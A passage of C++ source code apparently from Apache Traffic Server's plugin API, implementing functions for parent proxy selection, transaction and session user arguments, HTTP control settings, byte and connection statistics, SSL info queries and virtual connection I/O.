s->free_internal_msg_buffer();
if (buf) {
s->api_server_request_body_set = true;
s->internal_msg_buffer = buf;
s->internal_msg_buffer_size = buflength;
} else {
s->api_server_request_body_set = false;
s->internal_msg_buffer = nullptr;
s->internal_msg_buffer_size = 0;
}
s->internal_msg_buffer_fast_allocator_size = -1;
}
TSReturnCode
TSHttpTxnParentProxyGet(TSHttpTxn txnp, const char **hostname, int *port)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
*hostname = sm->t_state.api_info.parent_proxy_name;
*port = sm->t_state.api_info.parent_proxy_port;
return TS_SUCCESS;
}
void
TSHttpTxnParentProxySet(TSHttpTxn txnp, const char *hostname, int port)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)hostname) == TS_SUCCESS);
sdk_assert(port > 0);
HttpSM *sm = (HttpSM *)txnp;
sm->t_state.api_info.parent_proxy_name = sm->t_state.arena.str_store(hostname, strlen(hostname));
sm->t_state.api_info.parent_proxy_port = port;
}
TSReturnCode
TSHttpTxnParentSelectionUrlGet(TSHttpTxn txnp, TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
URL u, *l_url;
u.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
u.m_url_impl = (URLImpl *)obj;
if (!u.valid()) {
return TS_ERROR;
}
l_url = sm->t_state.cache_info.parent_selection_url;
if (l_url && l_url->valid()) {
u.copy(l_url);
return TS_SUCCESS;
}
return TS_ERROR;
}
TSReturnCode
TSHttpTxnParentSelectionUrlSet(TSHttpTxn txnp, TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
URL u, *l_url;
u.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
u.m_url_impl = (URLImpl *)obj;
if (!u.valid()) {
return TS_ERROR;
}
l_url = sm->t_state.cache_info.parent_selection_url;
if (!l_url) {
sm->t_state.cache_info.parent_selection_url_storage.create(nullptr);
sm->t_state.cache_info.parent_selection_url = &(sm->t_state.cache_info.parent_selection_url_storage);
l_url = sm->t_state.cache_info.parent_selection_url;
}
if (!l_url || !l_url->valid()) {
return TS_ERROR;
} else {
l_url->copy(&u);
}
Debug("parent_select", "TSHttpTxnParentSelectionUrlSet() parent_selection_url : addr = %p val = %p",
&(sm->t_state.cache_info.parent_selection_url), sm->t_state.cache_info.parent_selection_url);
return TS_SUCCESS;
}
void
TSHttpTxnUntransformedRespCache(TSHttpTxn txnp, int on)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
sm->t_state.api_info.cache_untransformed = (on ? true : false);
}
void
TSHttpTxnTransformedRespCache(TSHttpTxn txnp, int on)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
sm->t_state.api_info.cache_transformed = (on ? true : false);
}
class TSHttpSMCallback : public Continuation
{
public:
TSHttpSMCallback(HttpSM *sm, TSEvent event) : Continuation(sm->mutex), m_sm(sm), m_event(event)
{
SET_HANDLER(&TSHttpSMCallback::event_handler);
}
int
event_handler(int, void *)
{
m_sm->state_api_callback((int)m_event, nullptr);
delete this;
return 0;
}
private:
HttpSM *m_sm;
TSEvent m_event;
};
//----------------------------------------------------------------------------
void
TSHttpTxnReenable(TSHttpTxn txnp, TSEvent event)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
EThread *eth = this_ethread();
// TS-2271: If this function is being executed on a thread which was not
// created using the ATS EThread API, eth will be NULL, and the
// continuation needs to be called back on a REGULAR thread.
//
// If we are not coming from the thread associated with the state machine,
// reschedule. Also reschedule if we cannot get the state machine lock.
if (eth != nullptr && sm->getThreadAffinity() == eth) {
MUTEX_TRY_LOCK(trylock, sm->mutex, eth);
if (trylock.is_locked()) {
ink_assert(eth->is_event_type(ET_NET));
sm->state_api_callback((int)event, nullptr);
return;
}
}
// Couldn't call the handler directly, schedule to the original SM thread
TSHttpSMCallback *cb = new TSHttpSMCallback(sm, event);
cb->setThreadAffinity(sm->getThreadAffinity());
eventProcessor.schedule_imm(cb, ET_NET);
}
TSReturnCode TSUserArgIndexNameLookup(TSUserArgType type, const char *name, int *arg_idx, const char **description);
TSReturnCode
TSUserArgIndexReserve(TSUserArgType type, const char *name, const char *description, int *ptr_idx)
{
sdk_assert(sdk_sanity_check_null_ptr(ptr_idx) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr(name) == TS_SUCCESS);
sdk_assert(0 <= type && type < TS_USER_ARGS_COUNT);
int idx;
/* Since this function is meant to be called during plugin initialization we could end up "leaking" indices during plugins reload.
* Make sure we allocate 1 index per name, also current TSUserArgIndexNameLookup() implementation assumes 1-1 relationship as
* well. */
const char *desc;
if (TS_SUCCESS == TSUserArgIndexNameLookup(type, name, &idx, &desc)) {
// Found existing index.
*ptr_idx = idx;
return TS_SUCCESS;
}
idx = UserArgIdx[type]++;
int limit = MAX_USER_ARGS[type];
if (idx < limit) {
UserArg &arg(UserArgTable[type][idx]);
arg.name = name;
if (description) {
arg.description = description;
}
*ptr_idx = idx;
return TS_SUCCESS;
}
return TS_ERROR;
}
TSReturnCode
TSUserArgIndexLookup(TSUserArgType type, int idx, const char **name, const char **description)
{
sdk_assert(0 <= type && type < TS_USER_ARGS_COUNT);
if (sdk_sanity_check_null_ptr(name) == TS_SUCCESS) {
if (idx < UserArgIdx[type]) {
UserArg &arg(UserArgTable[type][idx]);
*name = arg.name.c_str();
if (description) {
*description = arg.description.c_str();
}
return TS_SUCCESS;
}
}
return TS_ERROR;
}
// Not particularly efficient, but good enough for now.
TSReturnCode
TSUserArgIndexNameLookup(TSUserArgType type, const char *name, int *arg_idx, const char **description)
{
sdk_assert(sdk_sanity_check_null_ptr(arg_idx) == TS_SUCCESS);
sdk_assert(0 <= type && type < TS_USER_ARGS_COUNT);
std::string_view n{name};
for (UserArg *arg = UserArgTable[type], *limit = arg + UserArgIdx[type]; arg < limit; ++arg) {
if (arg->name == n) {
if (description) {
*description = arg->description.c_str();
}
*arg_idx = arg - UserArgTable[type];
return TS_SUCCESS;
}
}
return TS_ERROR;
}
// -------------
void
TSUserArgSet(void *data, int arg_idx, void *arg)
{
if (nullptr != data) {
PluginUserArgsMixin *user_args = dynamic_cast<PluginUserArgsMixin *>(static_cast<Continuation *>(data));
sdk_assert(user_args);
user_args->set_user_arg(arg_idx, arg);
} else {
global_user_args.set_user_arg(arg_idx, arg);
}
}
void *
TSUserArgGet(void *data, int arg_idx)
{
if (nullptr != data) {
PluginUserArgsMixin *user_args = dynamic_cast<PluginUserArgsMixin *>(static_cast<Continuation *>(data));
sdk_assert(user_args);
return user_args->get_user_arg(arg_idx);
} else {
return global_user_args.get_user_arg(arg_idx);
}
}
// -------------
TSReturnCode
TSHttpTxnArgIndexReserve(const char *name, const char *description, int *arg_idx)
{
return TSUserArgIndexReserve(TS_USER_ARGS_TXN, name, description, arg_idx);
}
TSReturnCode
TSHttpTxnArgIndexLookup(int arg_idx, const char **name, const char **description)
{
return TSUserArgIndexLookup(TS_USER_ARGS_TXN, arg_idx, name, description);
}
TSReturnCode
TSHttpTxnArgIndexNameLookup(const char *name, int *arg_idx, const char **description)
{
return TSUserArgIndexNameLookup(TS_USER_ARGS_TXN, name, arg_idx, description);
}
TSReturnCode
TSHttpSsnArgIndexReserve(const char *name, const char *description, int *arg_idx)
{
return TSUserArgIndexReserve(TS_USER_ARGS_SSN, name, description, arg_idx);
}
TSReturnCode
TSHttpSsnArgIndexLookup(int arg_idx, const char **name, const char **description)
{
return TSUserArgIndexLookup(TS_USER_ARGS_SSN, arg_idx, name, description);
}
TSReturnCode
TSHttpSsnArgIndexNameLookup(const char *name, int *arg_idx, const char **description)
{
return TSUserArgIndexNameLookup(TS_USER_ARGS_SSN, name, arg_idx, description);
}
TSReturnCode
TSVConnArgIndexReserve(const char *name, const char *description, int *arg_idx)
{
return TSUserArgIndexReserve(TS_USER_ARGS_VCONN, name, description, arg_idx);
}
TSReturnCode
TSVConnArgIndexLookup(int arg_idx, const char **name, const char **description)
{
return TSUserArgIndexLookup(TS_USER_ARGS_VCONN, arg_idx, name, description);
}
TSReturnCode
TSVConnArgIndexNameLookup(const char *name, int *arg_idx, const char **description)
{
return TSUserArgIndexNameLookup(TS_USER_ARGS_VCONN, name, arg_idx, description);
}
void
TSHttpTxnArgSet(TSHttpTxn txnp, int arg_idx, void *arg)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(arg_idx >= 0 && static_cast<size_t>(arg_idx) < MAX_USER_ARGS[TS_USER_ARGS_TXN]);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
sm->set_user_arg(arg_idx, arg);
}
void *
TSHttpTxnArgGet(TSHttpTxn txnp, int arg_idx)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(arg_idx >= 0 && static_cast<size_t>(arg_idx) < MAX_USER_ARGS[TS_USER_ARGS_TXN]);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
return sm->get_user_arg(arg_idx);
}
void
TSHttpSsnArgSet(TSHttpSsn ssnp, int arg_idx, void *arg)
{
sdk_assert(sdk_sanity_check_http_ssn(ssnp) == TS_SUCCESS);
sdk_assert(arg_idx >= 0 && static_cast<size_t>(arg_idx) < MAX_USER_ARGS[TS_USER_ARGS_SSN]);
ProxySession *cs = reinterpret_cast<ProxySession *>(ssnp);
cs->set_user_arg(arg_idx, arg);
}
void *
TSHttpSsnArgGet(TSHttpSsn ssnp, int arg_idx)
{
sdk_assert(sdk_sanity_check_http_ssn(ssnp) == TS_SUCCESS);
sdk_assert(arg_idx >= 0 && static_cast<size_t>(arg_idx) < MAX_USER_ARGS[TS_USER_ARGS_SSN]);
ProxySession *cs = reinterpret_cast<ProxySession *>(ssnp);
return cs->get_user_arg(arg_idx);
}
void
TSVConnArgSet(TSVConn connp, int arg_idx, void *arg)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
sdk_assert(arg_idx >= 0 && static_cast<size_t>(arg_idx) < MAX_USER_ARGS[TS_USER_ARGS_VCONN]);
PluginUserArgsMixin *user_args = dynamic_cast<PluginUserArgsMixin *>(reinterpret_cast<VConnection *>(connp));
sdk_assert(user_args);
user_args->set_user_arg(arg_idx, arg);
}
void *
TSVConnArgGet(TSVConn connp, int arg_idx)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
sdk_assert(arg_idx >= 0 && static_cast<size_t>(arg_idx) < MAX_USER_ARGS[TS_USER_ARGS_VCONN]);
PluginUserArgsMixin *user_args = dynamic_cast<PluginUserArgsMixin *>(reinterpret_cast<VConnection *>(connp));
sdk_assert(user_args);
return user_args->get_user_arg(arg_idx);
}
void
TSHttpTxnStatusSet(TSHttpTxn txnp, TSHttpStatus status)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
sm->t_state.http_return_code = static_cast<HTTPStatus>(status);
}
TSHttpStatus
TSHttpTxnStatusGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
return static_cast<TSHttpStatus>(sm->t_state.http_return_code);
}
/* control channel for HTTP */
TSReturnCode
TSHttpTxnCntl(TSHttpTxn txnp, TSHttpCntlType cntl, void *data)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
switch (cntl) {
case TS_HTTP_CNTL_GET_LOGGING_MODE: {
if (data == nullptr) {
return TS_ERROR;
}
intptr_t *rptr = static_cast<intptr_t *>(data);
if (sm->t_state.api_info.logging_enabled) {
*rptr = (intptr_t)TS_HTTP_CNTL_ON;
} else {
*rptr = (intptr_t)TS_HTTP_CNTL_OFF;
}
return TS_SUCCESS;
}
case TS_HTTP_CNTL_SET_LOGGING_MODE:
if (data != TS_HTTP_CNTL_ON && data != TS_HTTP_CNTL_OFF) {
return TS_ERROR;
} else {
sm->t_state.api_info.logging_enabled = (bool)data;
return TS_SUCCESS;
}
break;
case TS_HTTP_CNTL_GET_INTERCEPT_RETRY_MODE: {
if (data == nullptr) {
return TS_ERROR;
}
intptr_t *rptr = static_cast<intptr_t *>(data);
if (sm->t_state.api_info.retry_intercept_failures) {
*rptr = (intptr_t)TS_HTTP_CNTL_ON;
} else {
*rptr = (intptr_t)TS_HTTP_CNTL_OFF;
}
return TS_SUCCESS;
}
case TS_HTTP_CNTL_SET_INTERCEPT_RETRY_MODE:
if (data != TS_HTTP_CNTL_ON && data != TS_HTTP_CNTL_OFF) {
return TS_ERROR;
} else {
sm->t_state.api_info.retry_intercept_failures = (bool)data;
return TS_SUCCESS;
}
default:
return TS_ERROR;
}
return TS_ERROR;
}
/* This is kinda horky, we have to use TSServerState instead of
HttpTransact::ServerState_t, otherwise we have a prototype
mismatch in the public ts/ts.h interfaces. */
TSServerState
TSHttpTxnServerStateGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpTransact::State *s = &(((HttpSM *)txnp)->t_state);
return (TSServerState)s->current.state;
}
void
TSHttpTxnDebugSet(TSHttpTxn txnp, int on)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
((HttpSM *)txnp)->debug_on = on;
}
int
TSHttpTxnDebugGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
return ((HttpSM *)txnp)->debug_on;
}
void
TSHttpSsnDebugSet(TSHttpSsn ssnp, int on)
{
sdk_assert(sdk_sanity_check_http_ssn(ssnp) == TS_SUCCESS);
(reinterpret_cast<ProxySession *>(ssnp))->set_debug(0 != on);
}
int
TSHttpSsnDebugGet(TSHttpSsn ssnp)
{
sdk_assert(sdk_sanity_check_http_ssn(ssnp) == TS_SUCCESS);
return (reinterpret_cast<ProxySession *>(ssnp))->debug();
}
int
TSHttpTxnClientReqHdrBytesGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->client_request_hdr_bytes;
}
int64_t
TSHttpTxnClientReqBodyBytesGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->client_request_body_bytes;
}
int
TSHttpTxnServerReqHdrBytesGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->server_request_hdr_bytes;
}
int64_t
TSHttpTxnServerReqBodyBytesGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->server_request_body_bytes;
}
int
TSHttpTxnServerRespHdrBytesGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->server_response_hdr_bytes;
}
int64_t
TSHttpTxnServerRespBodyBytesGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->server_response_body_bytes;
}
int
TSHttpTxnClientRespHdrBytesGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->client_response_hdr_bytes;
}
int64_t
TSHttpTxnClientRespBodyBytesGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->client_response_body_bytes;
}
int
TSVConnIsSslReused(TSVConn sslp)
{
NetVConnection *vc = reinterpret_cast<NetVConnection *>(sslp);
SSLNetVConnection *ssl_vc = dynamic_cast<SSLNetVConnection *>(vc);
return ssl_vc ? ssl_vc->getSSLSessionCacheHit() : 0;
}
const char *
TSVConnSslCipherGet(TSVConn sslp)
{
NetVConnection *vc = reinterpret_cast<NetVConnection *>(sslp);
SSLNetVConnection *ssl_vc = dynamic_cast<SSLNetVConnection *>(vc);
return ssl_vc ? ssl_vc->getSSLCipherSuite() : nullptr;
}
const char *
TSVConnSslProtocolGet(TSVConn sslp)
{
NetVConnection *vc = reinterpret_cast<NetVConnection *>(sslp);
SSLNetVConnection *ssl_vc = dynamic_cast<SSLNetVConnection *>(vc);
return ssl_vc ? ssl_vc->getSSLProtocol() : nullptr;
}
const char *
TSVConnSslCurveGet(TSVConn sslp)
{
NetVConnection *vc = reinterpret_cast<NetVConnection *>(sslp);
SSLNetVConnection *ssl_vc = dynamic_cast<SSLNetVConnection *>(vc);
return ssl_vc ? ssl_vc->getSSLCurve() : nullptr;
}
int
TSHttpTxnPushedRespHdrBytesGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->pushed_response_hdr_bytes;
}
int64_t
TSHttpTxnPushedRespBodyBytesGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->pushed_response_body_bytes;
}
// Get a particular milestone hrtime'r. Note that this can return 0, which means it has not
// been set yet.
TSReturnCode
TSHttpTxnMilestoneGet(TSHttpTxn txnp, TSMilestonesType milestone, ink_hrtime *time)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr(time) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
TSReturnCode ret = TS_SUCCESS;
if ((milestone < TS_MILESTONE_UA_BEGIN) || (milestone >= TS_MILESTONE_LAST_ENTRY)) {
*time = -1;
ret = TS_ERROR;
} else {
*time = sm->milestones[milestone];
}
return ret;
}
TSReturnCode
TSHttpTxnCachedRespTimeGet(TSHttpTxn txnp, time_t *resp_time)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HTTPInfo *cached_obj = sm->t_state.cache_info.object_read;
if (cached_obj == nullptr || !cached_obj->valid()) {
return TS_ERROR;
}
*resp_time = cached_obj->response_received_time_get();
return TS_SUCCESS;
}
int
TSHttpTxnLookingUpTypeGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HttpTransact::State *s = &(sm->t_state);
return (int)(s->current.request_to);
}
int
TSHttpCurrentClientConnectionsGet()
{
int64_t S;
HTTP_READ_DYN_SUM(http_current_client_connections_stat, S);
return static_cast<int>(S);
}
int
TSHttpCurrentActiveClientConnectionsGet()
{
int64_t S;
HTTP_READ_DYN_SUM(http_current_active_client_connections_stat, S);
return static_cast<int>(S);
}
int
TSHttpCurrentIdleClientConnectionsGet()
{
int64_t total = 0;
int64_t active = 0;
HTTP_READ_DYN_SUM(http_current_client_connections_stat, total);
HTTP_READ_DYN_SUM(http_current_active_client_connections_stat, active);
if (total >= active) {
return static_cast<int>(total - active);
}
return 0;
}
int
TSHttpCurrentCacheConnectionsGet()
{
int64_t S;
HTTP_READ_DYN_SUM(http_current_cache_connections_stat, S);
return static_cast<int>(S);
}
int
TSHttpCurrentServerConnectionsGet()
{
int64_t S;
HTTP_READ_GLOBAL_DYN_SUM(http_current_server_connections_stat, S);
return static_cast<int>(S);
}
/* HTTP alternate selection */
TSReturnCode
TSHttpAltInfoClientReqGet(TSHttpAltInfo infop, TSMBuffer *bufp, TSMLoc *obj)
{
sdk_assert(sdk_sanity_check_alt_info(infop) == TS_SUCCESS);
HttpAltInfo *info = (HttpAltInfo *)infop;
*(reinterpret_cast<HTTPHdr **>(bufp)) = &info->m_client_req;
*obj = reinterpret_cast<TSMLoc>(info->m_client_req.m_http);
return sdk_sanity_check_mbuffer(*bufp);
}
TSReturnCode
TSHttpAltInfoCachedReqGet(TSHttpAltInfo infop, TSMBuffer *bufp, TSMLoc *obj)
{
sdk_assert(sdk_sanity_check_alt_info(infop) == TS_SUCCESS);
HttpAltInfo *info = (HttpAltInfo *)infop;
*(reinterpret_cast<HTTPHdr **>(bufp)) = &info->m_cached_req;
*obj = reinterpret_cast<TSMLoc>(info->m_cached_req.m_http);
return sdk_sanity_check_mbuffer(*bufp);
}
TSReturnCode
TSHttpAltInfoCachedRespGet(TSHttpAltInfo infop, TSMBuffer *bufp, TSMLoc *obj)
{
sdk_assert(sdk_sanity_check_alt_info(infop) == TS_SUCCESS);
HttpAltInfo *info = (HttpAltInfo *)infop;
*(reinterpret_cast<HTTPHdr **>(bufp)) = &info->m_cached_resp;
*obj = reinterpret_cast<TSMLoc>(info->m_cached_resp.m_http);
return sdk_sanity_check_mbuffer(*bufp);
}
void
TSHttpAltInfoQualitySet(TSHttpAltInfo infop, float quality)
{
sdk_assert(sdk_sanity_check_alt_info(infop) == TS_SUCCESS);
HttpAltInfo *info = (HttpAltInfo *)infop;
info->m_qvalue = quality;
}
extern HttpSessionAccept *plugin_http_accept;
extern HttpSessionAccept *plugin_http_transparent_accept;
const char *
TSHttpTxnPluginTagGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
return sm->plugin_tag;
}
TSVConn
TSHttpConnectWithPluginId(sockaddr const *addr, const char *tag, int64_t id)
{
sdk_assert(addr);
sdk_assert(ats_is_ip(addr));
sdk_assert(ats_ip_port_cast(addr));
if (plugin_http_accept) {
PluginVCCore *new_pvc = PluginVCCore::alloc(plugin_http_accept);
new_pvc->set_active_addr(addr);
new_pvc->set_plugin_id(id);
new_pvc->set_plugin_tag(tag);
PluginVC *return_vc = new_pvc->connect();
if (return_vc != nullptr) {
PluginVC *other_side = return_vc->get_other_side();
if (other_side != nullptr) {
other_side->set_is_internal_request(true);
}
}
return reinterpret_cast<TSVConn>(return_vc);
}
return nullptr;
}
TSVConn
TSHttpConnect(sockaddr const *addr)
{
return TSHttpConnectWithPluginId(addr, "plugin", 0);
}
TSVConn
TSHttpConnectTransparent(sockaddr const *client_addr, sockaddr const *server_addr)
{
sdk_assert(ats_is_ip(client_addr));
sdk_assert(ats_is_ip(server_addr));
sdk_assert(!ats_is_ip_any(client_addr));
sdk_assert(ats_ip_port_cast(client_addr));
sdk_assert(!ats_is_ip_any(server_addr));
sdk_assert(ats_ip_port_cast(server_addr));
if (plugin_http_transparent_accept) {
PluginVCCore *new_pvc = PluginVCCore::alloc(plugin_http_transparent_accept);
// set active address expects host ordering and the above casts do not
// swap when it is required
new_pvc->set_active_addr(client_addr);
new_pvc->set_passive_addr(server_addr);
new_pvc->set_transparent(true, true);
PluginVC *return_vc = new_pvc->connect();
if (return_vc != nullptr) {
PluginVC *other_side = return_vc->get_other_side();
if (other_side != nullptr) {
other_side->set_is_internal_request(true);
}
}
return reinterpret_cast<TSVConn>(return_vc);
}
return nullptr;
}
/* Actions */
void
TSActionCancel(TSAction actionp)
{
Action *thisaction;
INKContInternal *i;
/* This is a hack. Should be handled in ink_types */
if ((uintptr_t)actionp & 0x1) {
thisaction = (Action *)((uintptr_t)actionp - 1);
i = (INKContInternal *)thisaction->continuation;
i->handle_event_count(EVENT_IMMEDIATE);
} else {
thisaction = (Action *)actionp;
}
thisaction->cancel();
}
// Currently no error handling necessary, actionp can be anything.
int
TSActionDone(TSAction actionp)
{
return ((Action *)actionp == ACTION_RESULT_DONE) ? 1 : 0;
}
/* Connections */
TSVConn
TSVConnCreate(TSEventFunc event_funcp, TSMutex mutexp)
{
if (mutexp == nullptr) {
mutexp = (TSMutex)new_ProxyMutex();
}
// TODO: probably don't need this if memory allocations fails properly
sdk_assert(sdk_sanity_check_mutex(mutexp) == TS_SUCCESS);
if (pluginThreadContext) {
pluginThreadContext->acquire();
}
INKVConnInternal *i = INKVConnAllocator.alloc();
sdk_assert(sdk_sanity_check_null_ptr((void *)i) == TS_SUCCESS);
i->init(event_funcp, mutexp, pluginThreadContext);
return reinterpret_cast<TSVConn>(i);
}
struct ActionSink : public Continuation {
ActionSink() : Continuation(nullptr) { SET_HANDLER(&ActionSink::mainEvent); }
int
mainEvent(int event, void *edata)
{
// Just sink the event ...
Debug("iocore_net", "sinking event=%d (%s), edata=%p", event, HttpDebugNames::get_event_name(event), edata);
return EVENT_CONT;
}
};
static ActionSink a;
TSVConn
TSVConnFdCreate(int fd)
{
UnixNetVConnection *vc;
EThread *t = this_ethread();
if (unlikely(fd == NO_FD)) {
return nullptr;
}
vc = (UnixNetVConnection *)netProcessor.allocate_vc(t);
if (vc == nullptr) {
return nullptr;
}
// We need to set an Action to handle NET_EVENT_OPEN* events. Since we have a
// socket already, we don't need to do anything in those events, so we can just
// sink them. It's better to sink them here, than to make the NetVC code more
// complex.
vc->action_ = &a;
vc->id = net_next_connection_number();
vc->submit_time = Thread::get_hrtime();
vc->mutex = new_ProxyMutex();
vc->set_is_transparent(false);
vc->set_context(NET_VCONNECTION_OUT);
// We should take the nh's lock and vc's lock before we get into the connectUp
SCOPED_MUTEX_LOCK(lock, get_NetHandler(t)->mutex, t);
SCOPED_MUTEX_LOCK(lock2, vc->mutex, t);
if (vc->connectUp(t, fd) != CONNECT_SUCCESS) {
return nullptr;
}
return reinterpret_cast<TSVConn>(vc);
}
TSVIO
TSVConnReadVIOGet(TSVConn connp)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
VConnection *vc = (VConnection *)connp;
TSVIO data;
if (vc->get_data(TS_API_DATA_READ_VIO, &data)) {
return data;
}
return nullptr;
}
TSVIO
TSVConnWriteVIOGet(TSVConn connp)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
VConnection *vc = (VConnection *)connp;
TSVIO data;
if (vc->get_data(TS_API_DATA_WRITE_VIO, &data)) {
return data;
}
return nullptr;
}
int
TSVConnClosedGet(TSVConn connp)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
VConnection *vc = (VConnection *)connp;
int data = 0;
bool f = vc->get_data(TS_API_DATA_CLOSED, &data);
ink_assert(f); // This can fail in some cases, we need to track those down.
return data;
}
TSVIO
TSVConnRead(TSVConn connp, TSCont contp, TSIOBuffer bufp, int64_t nbytes)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_iocore_structure(bufp) == TS_SUCCESS);
sdk_assert(nbytes >= 0);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
VConnection *vc = (VConnection *)connp;
return reinterpret_cast<TSVIO>(vc->do_io_read((INKContInternal *)contp, nbytes, (MIOBuffer *)bufp));
}
TSVIO
TSVConnWrite(TSVConn connp, TSCont contp, TSIOBufferReader readerp, int64_t nbytes)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_iocore_structure(readerp) == TS_SUCCESS);
sdk_assert(nbytes >= 0);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
VConnection *vc = (VConnection *)connp;
return reinterpret_cast<TSVIO>(vc->do_io_write((INKContInternal *)contp, nbytes, (IOBufferReader *)readerp));
}
void
TSVConnClose(TSVConn connp)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
VConnection *vc = (VConnection *)connp;
vc->do_io_close();
}
void
TSVConnAbort(TSVConn connp, int error)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
VConnection *vc = (VConnection *)connp;
vc->do_io_close(error);
}
void
TSVConnShutdown(TSVConn connp, int read, int write)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
VConnection *vc = (VConnection *)connp;
if (read && write) {
vc->do_io_shutdown(IO_SHUTDOWN_READWRITE);
} else if (read) {
vc->do_io_shutdown(IO_SHUTDOWN_READ);
} else if (write) {
vc->do_io_shutdown(IO_SHUTDOWN_WRITE);
}
}
int64_t
TSVConnCacheObjectSizeGet(TSVConn connp)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
CacheVC *vc = (CacheVC *)connp;
return vc->get_object_size();
}
void
TSVConnCacheHttpInfoSet(TSVConn connp, TSCacheHttpInfo infop)
{
sdk_assert(sdk_sanity_check_iocore_structure(connp) == TS_SUCCESS);
CacheVC *vc = (CacheVC *)connp;
if (vc->base_stat == cache_scan_active_stat) {
vc->set_http_info((CacheHTTPInfo *)infop);
}
}
/* Transformations */
TSVConn
TSTransformCreate(TSEventFunc event_funcp, TSHttpTxn txnp)
{
